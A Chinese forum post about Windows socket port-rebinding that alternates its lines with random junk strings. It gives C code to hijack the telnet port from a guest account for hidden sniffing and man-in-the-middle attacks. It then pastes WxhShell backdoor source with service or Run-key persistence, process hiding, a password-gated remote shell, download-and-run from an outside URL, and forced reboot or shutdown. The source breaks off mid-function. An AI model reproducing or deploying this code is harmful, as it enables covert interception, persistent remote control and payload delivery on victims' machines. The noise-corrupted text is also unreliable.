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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NN"!kuM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0<$t9:dq  
JIh:IR(ta  
  saddr.sin_family = AF_INET; RbN# dI'  
9J(jbJ7p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Pq<]`9/w^w  
)ePQN~#K}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lG/h[  
6b7SA ,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [R%Pf/[Fr  
6 66f;h  
  这意味着什么?意味着可以进行如下的攻击: +hL%8CVU M  
=*'K'e>P3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zv>7;En3  
Pgo^$xn'6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V 3yt{3Or  
FI=]K8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (;T g1$  
EpdSsfDP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tjWf`#tH>H  
oRZ--1oR_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IM8lA  
rI;84=v2&9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %7 [ Z/U=  
h$U(1B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Cj3C%W  
>sl#2,br  
  #include -+,3aK<[  
  #include Jd-u ?  
  #include \ QE?.Fx  
  #include    :@c\a99Kx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *L+)R*|:&  
  int main()  WgayH  
  { xwe^_7  
  WORD wVersionRequested; b.lK0 Xo  
  DWORD ret; )2dTgvy  
  WSADATA wsaData; #57D10j  
  BOOL val; ;'7gg]  
  SOCKADDR_IN saddr; WJs2d73Qp  
  SOCKADDR_IN scaddr; 72akOx   
  int err; ])D39  
  SOCKET s; }N`m7PSf  
  SOCKET sc; Qk#`e  
  int caddsize; ]zUvs6ksLG  
  HANDLE mt; TBr@F|RXiO  
  DWORD tid;   HTw7l]]  
  wVersionRequested = MAKEWORD( 2, 2 ); kY.3x# w  
  err = WSAStartup( wVersionRequested, &wsaData ); *c{X\!YBh  
  if ( err != 0 ) { M_Z(+k{Gy  
  printf("error!WSAStartup failed!\n"); %D $+Z(  
  return -1; %[J|n~8_Z  
  } ?o883!&v  
  saddr.sin_family = AF_INET; vC|V8ea  
   xa]e9u%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ['#3GJz-  
)DwHLaLW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;($"_h  
  saddr.sin_port = htons(23); /^^wHW:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xm I63W*  
  { N2/t  
  printf("error!socket failed!\n"); Bq*aP*jv  
  return -1; p&Ev"xhs  
  } jTE~^  
  val = TRUE; alz2F.%Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4pG!m&4]ze  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n"dYN3dE  
  { H=1Jq  
  printf("error!setsockopt failed!\n"); hJkF-yW  
  return -1; YIZ+BVa  
  } h&O8e;S#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *r|)@K|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C)v*L#{%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HHXm 4}!;<  
MzX4/*ba  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CF0i72ul5  
  { jp|1S^b  
  ret=GetLastError(); +u|p<z  
  printf("error!bind failed!\n"); SZ3UR  
  return -1; {(j1#9+9  
  } ml\2%07  
  listen(s,2); ,,o5hD0V9  
  while(1) MbJ|6g99  
  { Jh!'"7  
  caddsize = sizeof(scaddr); pon0!\ZT=  
  //接受连接请求 wr{ [4$O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o|O|e9m(  
  if(sc!=INVALID_SOCKET) ,'c?^ $J|z  
  { iciw 54;4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [r f.&  
  if(mt==NULL) -ttH{SslM  
  { 9:1[4o)~  
  printf("Thread Creat Failed!\n"); T]0H&Oov  
  break; qG?svt  
  } W1;u%>Uh  
  } 9W+RUh^W  
  CloseHandle(mt); F* h\#?  
  } 9?L,DThQ  
  closesocket(s); KVA~|j B  
  WSACleanup(); AttS?TZr  
  return 0; &m8Z3+Ea  
  }   D g~L"  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z @d(0 z  
  { [44C`x[8M+  
  SOCKET ss = (SOCKET)lpParam;  V9cKl[  
  SOCKET sc; GT3 ?)g{Z  
  unsigned char buf[4096]; 4ht+u  
  SOCKADDR_IN saddr; uqFYa bU  
  long num; bz4TbGg]  
  DWORD val; ^j>w<ljzz  
  DWORD ret; TeXt'G=M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /lqVMlz\77  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j| X>:!4r  
  saddr.sin_family = AF_INET; Exu>%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uFl19  
  saddr.sin_port = htons(23); DSX.84  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6l,oL'$}P1  
  { e_Un:r@)  
  printf("error!socket failed!\n"); 2?./S)x)  
  return -1; || 0n%"h>i  
  } <yw(7  
  val = 100; K|^'`FpPO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /@qnEP%  
  { /CfgxPo  
  ret = GetLastError(); `+?g96   
  return -1; lw j,8  
  } 0<'Q;'2* L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /ij)[WK@  
  { M>LgEc-v67  
  ret = GetLastError();  5i|DJ6  
  return -1; I`-N]sf^  
  }  @& fAR2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?Q#yf8  
  {  roNRbA]  
  printf("error!socket connect failed!\n"); j,@@[{tu  
  closesocket(sc); LUN"p#1  
  closesocket(ss); bDq[j8IT6  
  return -1; ecIZ +G)k  
  } Oiz@tEp=_  
  while(1) 6L}}3b h  
  { _jCk)3KO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'PK;Fg\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CYFi_6MFl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *47',Qy  
  num = recv(ss,buf,4096,0); .`@)c/<0  
  if(num>0) TP R$oO2  
  send(sc,buf,num,0); 3I):W9$Qp  
  else if(num==0) {Z!x]}{M  
  break; & c V$`L  
  num = recv(sc,buf,4096,0); , tb\^  
  if(num>0) DITo.PU  
  send(ss,buf,num,0); kACgP!~/1  
  else if(num==0) |X6/Y@N  
  break; .,+TpP kc  
  } %!X9>i>  
  closesocket(ss); [3|&!:4g6  
  closesocket(sc); 7uq/C#N  
  return 0 ; *3Qwmom  
  } oQ:.pq{T  
su\iUi  
;%W]b  
========================================================== YkuFt>U9,  
7G]v(ay  
下边附上一个代码,,WXhSHELL 56`Tna,t  
4#"_E:;PQ  
========================================================== HY!R|  
ky#5G-X  
#include "stdafx.h" K*id 1YY  
c+A$ [  
#include <stdio.h> `G0GWh)`x  
#include <string.h> uw>O|&!  
#include <windows.h> e !2SO*O  
#include <winsock2.h> orON)S ks  
#include <winsvc.h> qSA]61U&  
#include <urlmon.h> ;U)xZ _Ew~  
w 8B SY  
#pragma comment (lib, "Ws2_32.lib") W{W8\  
#pragma comment (lib, "urlmon.lib") 1LZ[i89&%  
#X t|"Z  
#define MAX_USER   100 // 最大客户端连接数 kH'zTO1  
#define BUF_SOCK   200 // sock buffer v1O1-aM  
#define KEY_BUFF   255 // 输入 buffer :}*   
sFbN)Cx  
#define REBOOT     0   // 重启 o|G[/o2  
#define SHUTDOWN   1   // 关机 XDQ5qfE|  
c$P68$FB  
#define DEF_PORT   5000 // 监听端口 JEh(A=Eu>  
kVe4#LT  
#define REG_LEN     16   // 注册表键长度 [L ?^+p>  
#define SVC_LEN     80   // NT服务名长度 j[Q9_0R~lR  
`~k`m{4.a  
// 从dll定义API J5Ovj,[EZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;1AX u/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m- u0U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H5!e/4iz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q/#p ol  
J:Idt}@z  
// wxhshell配置信息 N}gPf i  
struct WSCFG { SUC'o"  
  int ws_port;         // 监听端口 fvBL? x  
  char ws_passstr[REG_LEN]; // 口令 @s.civ!Yk  
  int ws_autoins;       // 安装标记, 1=yes 0=no sXaudT  
  char ws_regname[REG_LEN]; // 注册表键名 'zhv#&O  
  char ws_svcname[REG_LEN]; // 服务名 l9t|@9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rl{e<>O\^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B&L-Lc2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xQ,My  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s3sPj2e{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" / DG  t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ItD&L ))  
~YRG9TK  
}; oH='\M%+  
SxI-pH'  
// default Wxhshell configuration kt2W7.A 5  
struct WSCFG wscfg={DEF_PORT, zI,z<-  
    "xuhuanlingzhe", \"pp-str  
    1, /Os6i&;  
    "Wxhshell", A9_} RJ9  
    "Wxhshell", JnIE6@g<y  
            "WxhShell Service", `n?Rxhkwp  
    "Wrsky Windows CmdShell Service", dt||nF  
    "Please Input Your Password: ", hN^,'O  
  1, .]w=+~h  
  "http://www.wrsky.com/wxhshell.exe", K1$   
  "Wxhshell.exe" ("KtJ  
    }; Bwl@Muw  
6UKZ0~R  
// 消息定义模块 Jo''yrJpB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fSF_O}kLp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SA?lDRF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BUS4 T#D  
char *msg_ws_ext="\n\rExit."; Ge7Uety  
char *msg_ws_end="\n\rQuit."; Nsn~mY%  
char *msg_ws_boot="\n\rReboot..."; H <9_BA?  
char *msg_ws_poff="\n\rShutdown..."; H~ E<ek'~  
char *msg_ws_down="\n\rSave to "; %<0'xJ%%Q  
[\3W_jR  
char *msg_ws_err="\n\rErr!"; |Kb m74Z%  
char *msg_ws_ok="\n\rOK!"; 7epil  
t0_4jV t  
char ExeFile[MAX_PATH]; $p|Im,  
int nUser = 0; Z 4QL&?U  
HANDLE handles[MAX_USER]; R-YNg  
int OsIsNt; A<_{7F9  
<?>tjCg'  
SERVICE_STATUS       serviceStatus; jwpahy;\WL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H<") )EJI  
v{SZ(;  
// 函数声明 {l"(EeW6)  
int Install(void); ua E,F^p  
int Uninstall(void); zY9CoadZ  
int DownloadFile(char *sURL, SOCKET wsh); zygH-3C7o  
int Boot(int flag); Ae\:{[c_D  
void HideProc(void); 6WX?Xc]$3  
int GetOsVer(void); GkpYf~\Q  
int Wxhshell(SOCKET wsl); n^|SN9 _r  
void TalkWithClient(void *cs); l >~Rzw  
int CmdShell(SOCKET sock); =o4gW`\z  
int StartFromService(void); \%&):OD1  
int StartWxhshell(LPSTR lpCmdLine); [y~kF?a  
d uP0US  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NvC @  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $zM \Jd  
2wu\.{6Zp  
// 数据结构和表定义 E W`3$J;  
SERVICE_TABLE_ENTRY DispatchTable[] = ,xg-H6Xfa{  
{ K~4bT=   
{wscfg.ws_svcname, NTServiceMain}, PeIKx$$Kl{  
{NULL, NULL} uFA}w:Fm  
}; >0_{80bdO  
eX1_=?$1P  
// 自我安装 +|Izjx]ZV  
int Install(void) $xCJ5M4  
{ %(|-+cLW+  
  char svExeFile[MAX_PATH]; 8DX5bB  
  HKEY key; +p[O|[z  
  strcpy(svExeFile,ExeFile); +/ {lz8^,  
<0;G4fE7[H  
// 如果是win9x系统,修改注册表设为自启动 d3\KUR^  
if(!OsIsNt) { ;l^'g}dQ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4V c``Um  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O`$\P lt|v  
  RegCloseKey(key); j\"d/{7Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lr 9E02  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k<x7\T  
  RegCloseKey(key); \x:} |   
  return 0; H_,4N_hL  
    } B2Rpd &[  
  } #0?3RP  
} y|=KrvMHJ  
else { R;pIi/yDRe  
n0G@BE1Y=  
// 如果是NT以上系统,安装为系统服务 4V;-*:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U{qwhz(  
if (schSCManager!=0) k{O bm g  
{ kZhd^H.  
  SC_HANDLE schService = CreateService hYh~%^0dt  
  ( S=W^iA6>  
  schSCManager, _DAqL@5n  
  wscfg.ws_svcname, &*bpEdkZ  
  wscfg.ws_svcdisp, v_WF.sb~  
  SERVICE_ALL_ACCESS, 8H1&=)M=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QeN7~ J  
  SERVICE_AUTO_START, );h  
  SERVICE_ERROR_NORMAL, XD" 4t4~>  
  svExeFile, "&{.g1i9  
  NULL, 6J_$dzw  
  NULL, :;c`qO4  
  NULL, gW^4@q  
  NULL, W7;RQ  
  NULL Al]*iw{  
  ); YI;MS:Qj  
  if (schService!=0) 6Eus_aP  
  { =f23lA  
  CloseServiceHandle(schService); JNT|h zV  
  CloseServiceHandle(schSCManager); <Ql2+ev6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jz*A!Li  
  strcat(svExeFile,wscfg.ws_svcname); |Qb@.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xj9xUun  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *K& $9fah  
  RegCloseKey(key); F(ZczwvR  
  return 0; dWu;F^  
    } Lxv6\3I+  
  } {;m|\652B  
  CloseServiceHandle(schSCManager); q: X^V$`  
} 3[m2F O,Z  
} LM 1Vsh<  
.;S1HOHz4  
return 1; d^v.tYM$N  
} [>U2!4=$M  
p$ETAvD  
// 自我卸载 j/F('r~L  
int Uninstall(void) 2kk; z0f  
{ A`Rs n\  
  HKEY key; -%Ce  
=d iGuI B  
if(!OsIsNt) { rg=Ym.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~3&hvm[IQ  
  RegDeleteValue(key,wscfg.ws_regname); dPxJ`8  
  RegCloseKey(key); xZM4CR9]*C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #_|O93HN'  
  RegDeleteValue(key,wscfg.ws_regname); g_! xD;0  
  RegCloseKey(key); o9yUJ@ :i  
  return 0; ~w9`l8/0  
  } LPZ\T} <l  
} =6f)sZpPh  
} 6__HqBQ  
else { ^t*Ba>A  
/{/mwS"W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !N_eZPU.v  
if (schSCManager!=0) rQ6>*0xL_  
{ Pp_? z0M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ra6}<o  
  if (schService!=0) rZ)7(0BBs  
  { g$vOWSI +  
  if(DeleteService(schService)!=0) { |/$954Hr#<  
  CloseServiceHandle(schService); .JJ50p  
  CloseServiceHandle(schSCManager); "zzb`T[8  
  return 0; ~=t9-AF-  
  } pSEaE9AX%  
  CloseServiceHandle(schService); SSyARR+;c  
  } sTep2W.9  
  CloseServiceHandle(schSCManager); 1)qD)E5&cf  
} }W(t> >  
} .<xD'54  
yq<W+b/  
return 1; }f% Qk0^  
} lDF7~N9J_  
g:!R't?  
// 从指定url下载文件 e\f\CMb  
int DownloadFile(char *sURL, SOCKET wsh) &Vu-*?  
{ PfB9 .f{  
  HRESULT hr; QC&,C}t,  
char seps[]= "/"; !4<A|$mQ  
char *token; tfh`gUV 4  
char *file; 8rFP*K9  
char myURL[MAX_PATH]; `s3:Vsv4  
char myFILE[MAX_PATH]; !&`\MD>;~R  
l<<9H-O  
strcpy(myURL,sURL); /[ft{:#&t  
  token=strtok(myURL,seps); z]LVq k  
  while(token!=NULL) 0I do_V  
  { `2^(Ss# )  
    file=token; 83p8:C.Ze  
  token=strtok(NULL,seps); CC'N"Xb  
  } N3a ]!4Y\  
T|j=,2_  
GetCurrentDirectory(MAX_PATH,myFILE); =vriraV"  
strcat(myFILE, "\\"); Ly R<cd$W  
strcat(myFILE, file); A:(qF.Tm  
  send(wsh,myFILE,strlen(myFILE),0); QFoCi&  
send(wsh,"...",3,0); tA'5ufj*:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .I$+ E  
  if(hr==S_OK) lz1cLl m  
return 0; }W[=O:p  
else h|i b*%P_  
return 1; 1jAuW~  
eNM"e-  
} =UWW(^M#[:  
{sj{3Iu  
// 系统电源模块 )]<^*b>  
int Boot(int flag) ,^<39ng  
{ {ot6ssT=D  
  HANDLE hToken; G `B=:s]  
  TOKEN_PRIVILEGES tkp; @+)T"5_Y[  
<Lt"e8Z>x  
  if(OsIsNt) { rSm#/)4A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gQ%mVJB{(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8DbP$Wwi  
    tkp.PrivilegeCount = 1; o]&P0 b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'WBhW5@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a1[J>  
if(flag==REBOOT) { `0w!&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BQeg-M  
  return 0; T!pZj_ h=  
} "A5z!6T{  
else { L'"c;FF02i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x&m(h1h  
  return 0; $(08!U  
} mv`b3 $  
  } E @Rb+8},"  
  else { U!RIeC  
if(flag==REBOOT) { a5d_= :S ;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TV0Y{x*~iH  
  return 0; PGVp1TQ  
} n!lE|if  
else { [9Tnp]q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "T<7j.P?  
  return 0; 5LU7}v~/  
} sqjDh  
} huR ^l  
nLPd]%78>  
return 1; 322-'S3<  
} w vI v+Q9  
ed3wj3@  
// win9x进程隐藏模块 %\)AT"  
void HideProc(void) Tn(uH17  
{ /+. m.TF  
0 N0< 4b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O#>,vf$  
  if ( hKernel != NULL ) :!fY;c?  
  { }*aj&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G Uh<AG*+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V%C'@m(/SZ  
    FreeLibrary(hKernel); >fkV65w{*  
  } fjuPGg~  
*#@{&Q(Qh  
return; 77 Z:!J|  
} #T`1Z"h<  
_G/uDP%  
// 获取操作系统版本 +@7c:CAy(  
int GetOsVer(void) B)0;gWK  
{ ,W/Y@ScC  
  OSVERSIONINFO winfo; z U *Mk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AXnKhYlu  
  GetVersionEx(&winfo); (OavgJ+Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D$w?  
  return 1; Bi"cWO  
  else e ^`La*n  
  return 0; 8vfC  
} <$#^)]Ts  
TQ[J,  
// 客户端句柄模块 _. EM])b  
int Wxhshell(SOCKET wsl) pE0@m-p  
{ E>2AG3)  
  SOCKET wsh; ?#nk}=;g8  
  struct sockaddr_in client; ~*~aFf5  
  DWORD myID; [i> D|X  
Eq8:[o  
  while(nUser<MAX_USER) E(f|LG[I  
{ gd]_OY7L  
  int nSize=sizeof(client); N f}ZG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [<Mls@?  
  if(wsh==INVALID_SOCKET) return 1; UF}Ji#fqn  
ygK,t*T20  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W&3,XFnI_  
if(handles[nUser]==0) 1:u~T@;" `  
  closesocket(wsh); XXD4T9Wy  
else )]\-Uy$x  
  nUser++; mT;   
  } zU4*FXt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,XN4Iy#BZl  
1&Mpx!K*T  
  return 0; `dl^)4J  
} SK*<H~2  
P$@:T[}v  
// 关闭 socket 3q6FV7Fv&b  
void CloseIt(SOCKET wsh) 5*Dh#FRp  
{ 5CH8;sMK  
closesocket(wsh); bZj5qjl`x  
nUser--; GNW.n(a  
ExitThread(0); )U8=-_m  
} ZK<c(,oZ^  
5 (q4o`  
// 客户端请求句柄 IL?"g{w  
void TalkWithClient(void *cs) *fLVzYpo  
{ azRp4~2?  
S]4!uv^y  
  SOCKET wsh=(SOCKET)cs; N,F[x0&?  
  char pwd[SVC_LEN]; 5UG"i_TC  
  char cmd[KEY_BUFF]; 4]xD-sc  
char chr[1]; lcfs 1].  
int i,j; uE.. 1N&*  
NZ+TTMv  
  while (nUser < MAX_USER) { v9#F\F/  
RS2uk 7MB  
if(wscfg.ws_passstr) { bY~V?yNgKM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I y5)SZ'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \"Qa)1 |  
  //ZeroMemory(pwd,KEY_BUFF); w.+G+ r=  
      i=0; ~{{7y]3M-  
  while(i<SVC_LEN) { `84,R!  
V%`\x\Xat  
  // 设置超时 Ac}5,  
  fd_set FdRead; H}8kku>7  
  struct timeval TimeOut; n9Vr*RKM)  
  FD_ZERO(&FdRead); `y{[e j  
  FD_SET(wsh,&FdRead); `@So6%3Y|  
  TimeOut.tv_sec=8; /7ykmW  
  TimeOut.tv_usec=0; z.tN<P7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ke2M&TV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UunZ/A$]m  
w ,0OO f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X"jtPYCpV{  
  pwd=chr[0]; i nk !>Z  
  if(chr[0]==0xd || chr[0]==0xa) { dChMjaix  
  pwd=0; B& 5Md.h  
  break; =t.T9'{  
  } Xs~IoU  
  i++; }yd!UU  
    } 74c5\UxA  
xE*. ,:,&  
  // 如果是非法用户,关闭 socket 5d-rF:#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &WS'Me  
} ;RMevVw|  
"cvhx/\1#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g]d0B!Ar~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 lwoTGVZj  
0Ld"df*  
while(1) { j&q%@%Gm  
H6lZ<R{=  
  ZeroMemory(cmd,KEY_BUFF); | _nBiHjNn  
TrQUhmS/!  
      // 自动支持客户端 telnet标准   ~CHVU3  
  j=0; \ AB)L{  
  while(j<KEY_BUFF) { nUCOHVI7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NFqGbA|  
  cmd[j]=chr[0]; {9cjitl  
  if(chr[0]==0xa || chr[0]==0xd) { zT>BC}~.b  
  cmd[j]=0; uSH_=^yTQ  
  break; tCv}+7)   
  } F4IU2_CnPD  
  j++; )`mBvS.}  
    } Sf2xI'  
%Y9CZRY 9  
  // 下载文件 v z&88jt  
  if(strstr(cmd,"http://")) { x]IJ;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gOm8 O,  
  if(DownloadFile(cmd,wsh)) {/qQ=$t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O .jCDAP  
  else a.a ,_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;R$2+9  
  } ! %N@>[  
  else { VL|Z+3L  
y<c7RK]  
    switch(cmd[0]) { 3`Xzp  
  dq0!.gBT2  
  // 帮助 /<"ok;Pu7  
  case '?': { !1Ht{cA0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wEQZ9?\  
    break; msQ?V&+<  
  } LG??Q+`l  
  // 安装 xl@~K^c]  
  case 'i': { bL5u;iy)  
    if(Install()) ?. Ip(g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %l!- rXp  
    else BKYyc6iE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fm!\**Q1  
    break; |OuIQhoE  
    } _ER. AKY  
  // 卸载 `^|l+TJG  
  case 'r': { e%IbM E]x  
    if(Uninstall()) jsP+,brO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }i^$ li@  
    else `Q[NrOqe"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +zEyCx=8H  
    break; hS&.-5v  
    } 2UxmKp[  
  // 显示 wxhshell 所在路径 #5iy^?N"w  
  case 'p': { [GcW*v  
    char svExeFile[MAX_PATH]; yq[@Cw  
    strcpy(svExeFile,"\n\r"); by\Sq}  
      strcat(svExeFile,ExeFile); $)d34JM  
        send(wsh,svExeFile,strlen(svExeFile),0); \u;`Lf  
    break; o'8nQ Tao  
    } .hnq>R\  
  // 重启 p6ryUJc6  
  case 'b': { 45OAJ?N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D0>Pc9  
    if(Boot(REBOOT)) #$F*.vQSs+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kdaq_O:s  
    else { M`E}1WNQ?]  
    closesocket(wsh); 5Vai0Qfcu:  
    ExitThread(0); Z;njSw%:  
    } *,~L_)vWO  
    break; <(H<*Xf9  
    } %/qwqo`Q  
  // 关机 >]uu?!PU  
  case 'd': { dN7.W   
